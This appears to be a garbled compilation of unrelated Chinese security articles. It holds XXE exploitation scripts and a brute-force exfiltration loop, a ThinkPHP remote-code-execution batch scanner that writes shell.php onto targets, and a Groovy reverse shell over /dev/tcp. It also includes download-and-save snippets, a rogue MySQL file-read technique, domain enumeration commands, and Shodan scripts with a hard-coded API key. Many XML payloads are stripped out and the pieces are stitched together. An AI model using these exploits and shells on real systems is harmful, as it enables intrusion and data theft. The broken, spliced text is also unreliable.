介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞.
如图所示:
既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 “<![CDATA[“和 “]]>”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
结果如下图:
注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在 DTD 中拼接,我们知道我们只有一种选择,就是使用 参数实体
import requests
import base64
#Origtional XML that the server accepts
#
# user
#
def build_xml(string):
xml = """"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """]>"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ &xxe;"""
xml = xml + "\r\n" + """"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
"name":"evil_man",
"email":"testabcdefg@gmail.com",
"comment":"""
%dtd;]>
"""
}
for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """
">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result
ftp://a
EHLO a
MAIL FROM:
RCPT TO:
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
如今的 web 时代,是一个前后端分离的时代,有人说 MVC 就是前后端分离,但我觉得这种分离的并不彻底,后端还是要尝试去调用渲染类去控制前端的渲染,我所说的前后端分离是,后端 api 只负责接受约定好要传入的数据,然后经过一系列的黑盒运算,将得到结果以 json 格式返回给前端,前端只负责坐享其成,拿到数据json.decode 就行了(这里的后端可以是后台代码,也可以是外部的api 接口,这里的前端可以是传统意义的前端,也可以是后台代码)
那么问题经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用,比如下面这个
实例一:模拟情况
示例代码:
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
John, DoeI love XMLComputers9.992018-10-01XML is the best!
我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”}
但是如果我们传入一个恶意的代码
]>
John, DoeI love XMLComputers9.992018-10-01&xxe;
如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
实例二:微信支付的 XXE
前一阵子非常火的微信支付的 XXE 漏洞当然不得不提,
漏洞描述:
微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
规模:至少8700万条 事件:2018年3月17日,《纽约时报》报道称,剑桥咨询公司获得了超5000万的Facebook用户数据访问权限。数据泄露的源头是一款名为“this is your digital life”的APP,用于给Facebook用户提供个性分析测试。 原因:“this is your digital life”通过奖金诱惑,获得了27万用户在Facebook的信息;又以裂变营销方式获得每一位用户的185名好友的Facebook信息,这样计算: 27万×185=4995万,近5000万的Facebook用户数据就这样被剑桥咨询公司窃取了。 4月,Facebook通知其平台上的8700万名用户,他们的数据已经遭到泄露。
5: 2018.1月印度国家数据库 Aadhaar泄漏
规模:11亿条数据
事件:2018年1月4日,印度乡村企业家 Bharat Bhushan Gupta爆料说,有人在移动社交工具WhatsApp上向他推销Aadhaar数据库,购买之后,Aadhaar数据库确实为他提供了大量意想不到的用户信息。
原因:据悉,Aadhaar数据库的登录和e-Aadhaar的下载存在风险:利用DBT Seeding Data Viewer (DSDV)的系统,允许第三方通过白名单IP地址登入Aadhaar数据库,也就意味着任何有正确IP地址的人都可以访问这一系统
Generally any reflection at the end of gadget-chain set up is done to “arm” the chain because constructing it while armed can result in premature “detonation” during set-up and cause it to be inert when serialized and deserialized by the target application.
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
import shodan
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
try:
results = api.search('Apache')
print 'Results found: %s' % results['total']
for result in results['matches']:
print ("%s:%s|%s|%s"%(result['ip_str'],result['port'],result['location']['country_name'],result['hostnames']))
except shodan.APIError, e:
print 'Error: %s' % e
如下图
如果未付费,无法使用搜索过滤条件,例如Apache country:"US"
(2) 搜索指定内容,将获得的IP写入文件
python代码如下:
import shodan
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
file_object = open('ip.txt', 'w')
try:
results = api.search('Apache')
print 'Results found: %s' % results['total']
for result in results['matches']:
# print result['ip_str']
file_object.writelines(result['ip_str']+'\n')
except shodan.APIError, e:
print 'Error: %s' % e
file_object.close()
(3) 通过命令行参数指定搜索条件,将搜索到的IP写入文件
python代码如下:
import shodan
import sys
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
if len(sys.argv)<2:
print '[!]Wrong parameter'
sys.exit(0)
print '[*]Search string: %s' % sys.argv[1]
file_object = open('ip.txt', 'w')
try:
results = api.search(sys.argv[1])
print '[+]Results found: %s' % results['total']
for result in results['matches']:
# print result['ip_str']
file_object.writelines(result['ip_str']+'\n')
except shodan.APIError, e:
print 'Error: %s' % e
file_object.close()
命令行参数:
search.py apache
注:
如果搜索多个关键词,需要用引号将搜索条件包含,例如:
search.py "apache country:US"
(4) 读取文件中的IP列表,反查IP信息
python代码如下:
import sys
reload(sys)
sys.setdefaultencoding('utf8')
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
def searchip( str ):
try:
host = api.host(str)
except shodan.exception.APIError:
print "[!]No information available"
print "---------------------------------------------"
return
else:
# Print general info
try:
print "IP: %s\r\nOrganization: %s\r\nOperating System: %s" % (host['ip_str'], host.get('org', 'n/a'), host.get('os', 'n/a'))
except UnicodeEncodeError:
print "[!]UnicodeEncode Error\r\n"
else:
# Print all banners
for item in host['data']:
print "Port: %s\r\nBanner: %s" % (item['port'], item['data'])
print "---------------------------------------------"
return
file_object = open('ip.txt', 'r')
for line in file_object:
searchip(line)
0x05 通过Shodan官网下载搜索结果
通过Shodan官网下载数据时使用Export credits,如下图
查询一次消耗一个export credit,无论结果有多少个,最多为10000个
导出格式选择为json
(1) 从下载的json结果文件中提取IP
python代码如下:
import json
file_object = open("shodan_data.json", 'r')
for line in file_object:
data = json.loads(line)
print data["ip_str"]
file_object.close()
(2) 从下载的json结果文件中提取指定国家的IP和端口
国家代号在二级元素中,对应结构:data["location"]["country_code"]
python代码如下:
import json
import sys
import re
def search(country):
file_object = open("shodan_data.json", 'r')
file_object2 = open(country+".txt", 'w')
for line in file_object:
data = json.loads(line)
if re.search(data["location"]["country_code"], country, re.IGNORECASE):
str1 = "%s:%s" % (data["ip_str"],data["port"])
print str1
file_object2.writelines(str1+'\n')
file_object.close()
file_object2.close()
if __name__ == "__main__":
if len(sys.argv)<2:
print ('[!]Wrong parameter')
sys.exit(0)
else:
print ('[*]Search country code: %s' % sys.argv[1])
search(sys.argv[1])
print ("[+]Done")
命令行参数:
search.py US
生成文件US.txt,保存IP和对应的端口
0x06 小结
本文介绍了Shodan API的用法,分享使用心得和python脚本开发技巧。选择付费购买时,记得区分好三种积分(credits) from
官方版本(英文)
Installation
The shodan command-line interface (CLI) is packaged with the official Python library for Shodan, which means if you’re running the latest version of the library you already have access to the CLI. To install the new tool simply execute:easy_install shodan
Or if you’re running an older version of the Shodan Python library and want to upgrade:easy_install -U shodan
Once the tool is installed you have to initialize the environment with your API key using shodan initshodan init YOUR_API_KEY
You can get your API key from your Shodan account page located at:Get your API Key
Command Overview
The shodan CLI has a lot of commands, the most popular/ common ones are documented below. For the full list of commands just run the tool without any arguments:
$ shodan
count
Returns the number of results for a search query.
Example
$ shodan count microsoft iis 6.0
5310594
download
Search Shodan and download the results into a file where each line is a JSON banner. For more information on what the banner contains check out:Banner Specification
By default it will only download 1,000 results, if you want to download more look at the –limit flag.
The download command is what you should be using most often when getting results from Shodan since it lets you save the results and process them afterwards using the parsecommand. Because paging through results uses query credits, it makes sense to always store searches that you’re doing so you won’t need to use query credits for a search you already did in the past.
Example
host
See information about the host such as where it’s located, what ports are open and which organization owns the IP.
Example
$ shodan host 189.201.128.250
myip
Returns your Internet-facing IP address.
Example
$ shodan myip
199.30.49.210
parse
Use parse to analyze a file that was generated using the download command. It lets you filter out the fields that you’re interested in, convert the JSON to a CSV and is friendly for pipe-ing to other scripts.
Example
The following command outputs the IP address, port and organization in CSV format for the previously downloaded Microsoft-IIS data:
This command lets you search Shodan and view the results in a terminal-friendly way. By default it will display the IP, port, hostnames and data. You can use the –fields parameter to print whichever banner fields you’re interested in.
Example
To search Microsoft IIS 6.0 and print out their IP, port, organization and hostnames use the following command:
$ shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0
PS E:\PyProject> python .\thinkPHPBatchPoc.py -u admintony.com
[+] http://admintony.com is vulnerable
[+] Payload is ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com
批量测试
PS E:\PyProject> python .\thinkPHPBatchPoc.py -f .\target.txt
[+]Testing http://www.admintony.com
[-] http://www.admintony.com is not vulnerable
[+]Testing http://baidu.com
[-] http://baidu.com is not vulnerable
[+]Testing vulW3b.admintony.com/
[+] http://vulW3b.admintony.com/ is vulnerable
[+] Payload is ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com
工具代码: thinkPHPBatchPoc.py
#coding:utf-8
import requests,sys
payload = {
0:r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
1:r"?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com",
2:r"?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E",
3:r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
4:r"?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20\"www_admintony_com\";?%3E"
}
headers={'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
'referer':'http://baidu.com'}
def Requests(url):
res = requests.get(url,headers=headers)
if 'www_admintony_com' in res.text:
return True
else:
return False
def Requests_write(url,URL):
# 写shell
requests.get(url,headers=headers)
# 验证是否写入成功
res1 = requests.get(URL+'/shell.php')
if 'www_admintony_com' in res1.text:
return True
else:
return False
def Scan(url):
URL = url
if ('http://' in url) or ('https://' in url):
pass
else:
url = 'http://'+url
URL = url
if 'index.php' not in url:
url = url+'/index.php'
i = 0
flag =False
while i<5:
url = url+payload.get(i)
#print(payload.get(i))
if not flag:
if i<4:
flag = Requests(url)
elif i==4:
flag = Requests_write(url,URL)
i = i+1
else:
break
if i==5:
print("[-] {} is not vulnerable".format(URL))
print()
else:
print("[+] {} is vulnerable\n[+] Payload is {}".format(URL,payload.get(i-1)))
print()
def Batch(file):
with open(file,'r+') as f:
targets = f.readlines()
#print(targets)
for t in targets:
try:
t = t.split('\n')[0]
except:
pass
print('[+]Testing '+t)
Scan(t)
def banner():
print("""thinkPHPBatchPoc
脚本仅用于批量检测站点是否存在漏洞,请勿用于非法用途
usage:
thinkPHPBatchPoc.py -f target.txt # 批量检测是否存在thinkPHP代码执行漏洞
thinkPHPBatchPoc.py -u target_URL # 指定检测是否存在thinkPHP代码执行漏洞
""")
if __name__ == '__main__':
"""
usage : POC.py -f target.txt
POC.py -u target_url
"""
if len(sys.argv)!=3:
banner()
exit()
if sys.argv[1]=='-f':
Batch(sys.argv[2])
elif sys.argv[1]=='-u':
Scan(sys.argv[2])
#!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# @name: Sitadel - Web Application Security Scanner
# @repo: https://github.com/shenril/Sitadel
# @author: Shenril
# @license: See the file 'LICENSE.txt'
import argparse
import logging
import sys
from lib import __version__
from lib.config import settings
from lib.config.settings import Risk
from lib.request.request import Request
from lib.utils import banner, manager, output, validator
from lib.utils.container import Services
from lib.utils.datastore import Datastore
from lib.utils.output import Output
class Sitadel(object):
bn = banner.Banner()
ma = manager
url = None
def main(self):
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,
usage=self.bn.banner())
# Prepare the possible values for risk levels
risk_values = [r.value for r in Risk]
# Add arguments
parser.add_argument("url", help="URL of the website to scan")
parser.add_argument("-r", "--risk", type=int, help="Level of risk allowed for the scan",
choices=risk_values)
parser.add_argument("-ua", "--user-agent", default="Sitadel " + __version__,
help="User-agent to set for the scan requests")
parser.add_argument("--redirect", dest='redirect',
help="Whether or not the scan should follow redirection",
action="store_true")
parser.add_argument("--no-redirect", dest='redirect',
help="Whether or not the scan should follow redirection",
action="store_false")
parser.set_defaults(redirect=True)
parser.add_argument("-t", "--timeout", type=int, help="Timeout to set for the scan HTTP requests")
parser.add_argument("-c", "--cookie", help="Cookie to set for the scan HTTP requests")
parser.add_argument("-p", "--proxy", help="Proxy to set for the scan HTTP requests")
parser.add_argument("-f", "--fingerprint", nargs='+', help="Fingerprint modules to activate")
parser.add_argument("-a", "--attack", nargs='+', help="Attack modules to activate")
parser.add_argument("--config", help="Path to the config file", default="config/config.yml")
parser.add_argument("-v", "--verbosity", action="count", default=0, help="Increase output verbosity")
parser.add_argument('--version', action='version', version=self.bn.version())
args = parser.parse_args()
# Verify the target URL
self.url = validator.validate_target(args.url)
# Reading configuration
settings.from_yaml(args.config)
if args.risk is not None:
settings.risk = Risk(args.risk)
# Register services
Services.register("datastore", Datastore(settings.datastore))
Services.register("logger", logging.getLogger("sitadelLog"))
Services.register("output", Output())
Services.register("request_factory",
Request(url=self.url, agent=args.user_agent, proxy=args.proxy, redirect=args.redirect,
timeout=args.timeout))
# Display target and scan starting time
self.bn.preamble(self.url)
# Run the fingerprint modules
self.ma.fingerprints(args.fingerprint,
args.user_agent,
args.proxy,
args.redirect,
args.timeout,
self.url,
args.cookie)
# Run the crawler to discover urls
discovered_urls = self.ma.crawler(self.url, args.user_agent)
# Run the attack modules on discovered urls
self.ma.attacks(args.attack, self.url, discovered_urls)
if __name__ == "__main__":
try:
Sitadel().main()
except KeyboardInterrupt:
sys.exit(output.Output().error('Interruption by the user, Quitting...'))
LOAD DATA INFILE 语句从一个文本文件中以很高的速度读入一个表中。如果指定LOCAL关键词,从客户主机读文件。如果LOCAL没指定,文件必须位于服务器上。语法如下:
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name,...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var,...)]
[SET col_name = expr,...]
但我们用到的语句大致如下:
load data infile 'file_name' into table table_name fields terminated by '分隔符'
本地测试一下语句,环境如下:
服务器:mysql 5.5.53,Windows系统,IP-192.168.246.1
客户端:Kali,IP-192.168.246.137从本地服务器导入数据
1 从本地服务器导入数据
# test.txt内容
"3","pwd3"
"4","pwd4"
# load data infile命令
load data infile 'D:/Equipment/phpstudy/MySQL/test.txt' into table user fields terminated by ',';
2 从客户端导入数据
# /root/Document/test.txt 内容
"1","pwd1"
"2","pwd2"
mysql -h 192.168.246.1 -u root -p -D test -e "load data local infile '/root/Documents/test.txt' into table user fields terminated by ',';"
回到我的本机(IP: 192.168.246.1)看一下添加数据成功没有
MySQL [test]> select * from user;
+------+--------+
| name | passwd |
+------+--------+
| "1" | "pwd1" |
| "2" | "pwd2" |
| "3" | "pwd3" |
| "4" | "pwd4" |
+------+--------+
4 rows in set (0.00 sec)
添加成功
从服务器端阅读文件
想要使用LOAD DATA INFILE,服务器配置必须启用该功能,你可以通过标志位来判断服务器是否启动了该功能(默认是启动的)。你也可以在连接时使用--enable-local-infile来开启该功能。
使用wireshark抓包,在发出连接请求时,查看服务器回包中带有的FLAG 信息即可:
Can Use LOAD DATA LOCAL: Set
为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。你可以通过执行show variables like '%secure%'来查看:
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
然后是我们的查询语句load data local infile '/etc/passwd' into table test.test fields terminated by '\n';以及回包
这个数据包对连接的客户端说:“嘿!请阅读/etc/passwd 文件并发给我”
上述过程就是LOAD DATA INFILE 的整个过程。如果能执行LOAD DATA INFILE 导入服务器上的文件自然是最好的,但是有时候我们并不能执行LOAD DATA INFILE,我们只能执行LOAD DATA LOCAL INFILE,即导入我们本机上的文件,这是因为我们当前账户没有读取服务器本地文件的权限。所以我们转换思路,互换一下服务器和客户端的位置,让被攻击者作为客户端来连接我们的服务器,并使客户端执行LOAD DATA LOCAL INFILE语句,下面的利用方式就是如此
受害者的MySQL客户端认为身份验证正确,执行攻击者的发来的请求,通过LOAD DATA INLINE 功能将文件内容发送回攻击者的MySQL服务器。
攻击者收到受害者服务器上的信息,读取文件成功,攻击完成。
攻击已经被写成了工具,工具将模拟一个假的MySQL服务器发送payload读取文件。
MySQL协议的一个特殊功能是客户端根本不跟踪请求的命令,完全基于服务器响应执行查询。所以模仿mysql服务器就变得简单,模拟初始握手,等待SQL语句包,然后忽略它,发出我们自己的LOAD DATA 的SQL语句等待响应。
为了成功利用,我们还需要客户端至少向我们的假服务器发出一次查询,这也很容易,还记得之前分析LOAD DATA INFILE时我们找到的查询版本信息的SQL包吗select @@version_comment?并且客户端向服务器发出的任何请求,我们只需回答Auth OK,就可以欺骗客户端,让客户端认为已经得到授权。
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
执行 :cscript test.vbs
Perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname
dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the domain
Get-NetGroup - gets data for each user in a specified domain group
Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - get a list of file servers used by current domain users
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server